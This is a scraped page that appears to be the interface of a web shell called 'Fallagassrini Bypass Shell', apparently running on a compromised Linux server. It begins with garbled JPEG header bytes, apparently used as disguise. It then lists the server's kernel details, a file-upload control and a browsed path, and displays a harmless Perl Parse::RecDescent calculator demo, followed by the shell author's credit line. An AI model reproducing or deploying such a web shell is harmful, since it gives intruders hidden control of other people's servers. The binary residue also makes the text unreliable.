JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/doc/perl-Parse-RecDescent-1.967009/demo/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //usr/share/doc/perl-Parse-RecDescent-1.967009/demo/demo_calc.pl

use v5.10;
use warnings;


use Parse::RecDescent;

sub evalop
{
    my (@list) = @{$_[0]};
    my $val = shift(@list)->();
    while (@list)
    {
        my ($op, $arg2) = splice @list, 0, 2;
        $op->($val,$arg2->());
    }
    return $val;
}

my $parse = Parse::RecDescent->new(<<'EndGrammar');

    <trace_parse>

    main: expr /\s*\Z/ { $item[1]->() }
        | <error>

    expr: /for(each)?/ lvar range expr
            { my ($vname,$expr) = @item[2,4];
              my ($from, $to) = @{$item[3]};
              sub { my $val;
                no strict "refs";
                for $$vname ($from->()..$to->())
                    { $val = $expr->() }
                return $val;
                  }
            }
        | lvar '=' addition
            { my ($vname, $expr) = @item[1,3];
              sub { no strict 'refs'; $$vname = $expr->() }
            }
        | addition

    range: "(" expr ".." expr ")"
            { [ @item[2,4] ] }

    addition: <leftop:multiplication add_op multiplication>
            { my $add = $item[1]; sub { ::evalop $add } }

    add_op: '+' { sub { $_[0] += $_[1] } }
          | '-' { sub { $_[0] -= $_[1] } }

    multiplication: <leftop:factor mult_op factor>
            { my $mult = $item[1]; sub { ::evalop $mult } }

    mult_op: '*'    { sub { $_[0] *= $_[1] } }
           | '/'    { sub { $_[0] /= $_[1] } }

    factor: number
          | rvar
          | '(' expr ')' { $item[2] }

    number: /[-+]?\d+(\.\d+)?/  { sub { $item[1] } }

    lvar:   /\$([a-z]\w*)/      { $1 }

    rvar:   lvar            { sub { no strict 'refs'; ${$item[1]} } }

EndGrammar

print "> ";
while (<>) {    # FOR DEMO CHANGE TO: while (<DATA>)
  print $parse->main($_), "\n\n> ";
}

__DATA__
$x = 2
$y = 3
+1-1+1-1+1-1+1-1+1
7*7-6*8
121/(121/11)/121*11
1/(10-1/(1/(10-1)))
$x * $y
foreach $i (1..$y) $x = $x * 2 + $i
$x

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net